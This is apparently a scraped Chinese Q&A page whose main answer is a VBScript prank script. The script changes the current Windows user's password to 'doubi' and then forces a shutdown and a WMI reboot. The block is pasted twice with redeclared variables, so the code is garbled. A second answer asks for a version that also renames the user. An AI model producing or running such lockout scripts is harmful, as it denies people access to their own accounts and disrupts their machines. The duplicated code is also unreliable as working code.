2个回答
展开全部
Const strPassword = "doubi"'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
set gj=createobject("wscript.shell")
gj.run"shutdown -f -t"'
Set objWMI = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
objWMI.Security_.ImpersonationLevel=3
objWMI.Security_.Privileges.Add 18
Set colOS=objWMI.InstancesOf ("Win32_OperatingSystem where Primary=true")
For Each clsOS in colOS
clsOS.Reboot()
Next
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
set gj=createobject("wscript.shell")
gj.run"shutdown -f -t"'
Set objWMI = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
objWMI.Security_.ImpersonationLevel=3
objWMI.Security_.Privileges.Add 18
Set colOS=objWMI.InstancesOf ("Win32_OperatingSystem where Primary=true")
For Each clsOS in colOS
clsOS.Reboot()
Next
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
我也要个,把用户名也修改掉了。估计程序会出错
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询